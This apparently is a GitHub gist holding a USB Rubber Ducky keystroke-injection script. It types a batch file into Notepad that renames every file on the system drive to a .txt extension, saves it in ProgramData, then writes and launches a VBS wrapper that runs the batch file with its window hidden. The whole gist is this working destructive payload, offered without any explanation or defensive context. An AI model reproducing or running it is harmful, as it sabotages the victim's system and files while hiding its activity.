Created
April 17, 2018 04:57
-
-
Save JonnyBanana/d8ece55bd99dcdc2a505c96a0dc586b1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DELAY 5000 | |
GUI r | |
DELAY 200 | |
STRING notepad.exe | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
STRING "echo off | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
STRING cd %systemdrive% | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
STRING REN *.* *.TXT | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
CTRL s | |
DELAY 1000 | |
STRING %PROGRAMDATA% | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
CTRL a | |
DELAY 200 | |
STRING cafett.bat | |
DELAY 200 | |
ENTER | |
DELAY 350 | |
LEFT | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
ENTER | |
DELAY 500 | |
ALT F4 | |
DELAY 1000 | |
LEFT | |
DELAY 300 | |
ENTER | |
DELAY 200 | |
GUI r | |
DELAY 300 | |
STRING notepad.exe | |
DELAY 100 | |
ENTER | |
DELAY 500 | |
STRING Set WshShell = CreateObject(@WScript.Shell@) | |
DELAY 100 | |
ENTER | |
DELAY 100 | |
STRING WshShell.Run chr(34) & @%PROGRAMDATA%\cafett.bat@ & Chr(34), 0 | |
DELAY 100 | |
ENTER | |
DELAY 100 | |
STRING Set WshShell = Nothing | |
DELAY 100 | |
ENTER | |
DELAY 200 | |
CTRL s | |
DELAY 1000 | |
STRING %PROGRAMDATA% | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
CTRL a | |
DELAY 200 | |
STRING Invisible.vbs | |
DELAY 200 | |
ENTER | |
DELAY 350 | |
LEFT | |
DELAY 200 | |
ENTER | |
DELAY 200 | |
ENTER | |
DELAY 500 | |
ALT F4 | |
DELAY 1000 | |
LEFT | |
DELAY 300 | |
ENTER | |
DELAY 200 | |
GUI r | |
DELAY 1000 | |
STRING cmd.exe | |
DELAY 500 | |
ENTER | |
DELAY 200 | |
STRING start %PROGRAMDATA%\Invisible.vbs | |
DELAY 200 | |
ENTER | |
DELAY 100 | |
STRING exit | |
DELAY 100 | |
ENTER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment